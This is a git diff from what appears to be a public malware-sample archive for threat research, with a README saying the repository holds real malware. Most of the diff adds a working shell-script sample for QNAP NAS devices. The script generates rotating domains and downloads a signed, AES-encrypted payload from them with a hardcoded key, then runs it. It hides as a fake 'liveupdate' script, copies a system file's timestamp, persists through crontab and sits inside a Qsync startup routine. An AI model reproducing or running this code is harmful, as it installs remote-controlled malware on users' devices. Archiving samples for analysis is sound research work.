"${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.liveupdate/liveupdate.sh" || chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/README.md b/README.md index 635e42a..b2dc1eb 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ ATTENTION: This repository contains actual malware, do not execute any of these They have been renamed for easier processing. -This is an ongoing and updated archive of files that we collect which are associated with specific public reports. If there is a report that is released which we haven't yet covered with related IOCs please feel free to put in a request! +This is an ongoing and updated archive of files that we collect which are associated with specific public malicious threat reports. If there is a report that is released which we haven't yet covered with related IOCs please feel free to put in a request! All of the malware samples contained in this repository has been collected by various locations. This repository is designed to try to stay up to date with various public reports and to make the process of retreiving the files associated with this reports (tied to the published IOCs) more easily.